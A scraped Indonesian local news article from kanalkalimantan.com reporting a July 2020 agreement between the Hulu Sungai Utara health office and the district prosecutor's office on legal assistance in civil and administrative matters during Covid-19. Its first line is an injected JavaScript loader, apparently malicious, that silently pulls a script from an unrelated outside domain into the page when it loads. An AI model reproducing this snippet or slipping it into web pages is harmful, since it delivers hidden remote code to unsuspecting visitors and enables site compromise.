(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Guna mendapatkan fasilitas pelayanan hukum terkait penanganan Covid-19 dan lain sebagainya Dinas Kesehatan Kabupaten Hulu Sungai Utara (HSU) menjalin kerjasama dengan Kejaksaan Negeri Hulu Sungai Utara.
Nota kesepakatan atau Memorandum of Understanding (MoU) antara Dinkes dengan Kejari HSU dimaksudkan untuk penanganan masalah hukum bidang perdata dan tata usaha negara.
Kepala Bidang Pelayanan Sumber daya Kesehatan Dinkes HSU H Danu Fran Fotohena kepada Kanalkalimantan.com Kamis (2/7/2020) menuturkan, terjalinnya MoU diharapkan dapat lebih meningkatkan kinerja Dinas Kesehatan kepada masyarakat karena didampingi langsung oleh pihak yang kompoten dibidang hukum didalamnya.
“Kinerja kita di sini maksudnya adalah kita bekerja lebih tenang, lebih aman dan lebih focus karena kita ada tempat berkonsultasi terkait hukum perdata dan tata usaha negara, dan itu memang sangat diharapkan Dinas Kesehatan,” ujarnya.
Menurut Danu, ada beberapa hal yang dapat berpotensi menimbulkan masalah hukum kedepannya, sehingga inisiasi untuk menggandeng Kejari sebagai pendampingan hukum ini muncul.
Sebelumnya penandatanganan kerjasama antar Dinkes HSU dan Kejari HSU dilakukan langsung oleh Plt Kadinkes HSU dr H Agus Fidliansyah dan Kepala Kejaksaan Negeri HSU Novan Hadian SH MH di kantor Kejari HSU, Rabu (1/7/2020).
Kajari HSU Novan Hadian SH MH mengaku berterimakasih kepada Dinas Kesehatan Kabupaten HSU yang telah memberikan kepercayaan kepada institusi Kejaksaan sebagai Jaksa Pengacara Negera.
“Kita harapkan bersama dalam pelaksanaannya dapat dilakukan sebaik-baiknya demi kepentingan masyarakat, bangsa dan negara,” ujar Novan.
“Kami selaku Jaksa Pengacara Negara siap mendukung Dinas Kesehatan Kabupaten Hulu Sungai Utara dalam mengoptimalkan pelayanan kesehatan pada masa wabah Covid-19 saat ini,” tegasnya.
Plt Dinas Kesehatan Kabupaten HSU dr H Agus Fidliansyah mengatakan, tujuan kerjasama di bidang hukum perdata dan tata usaha negara ini adalah untuk mewujudkan kesepahaman kedua belah pihak dalam rangka penyelesaian masalah-masalah hukum perdata maupun tata usaha negara yang mungkin nanti akan timbul. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
This website uses cookies.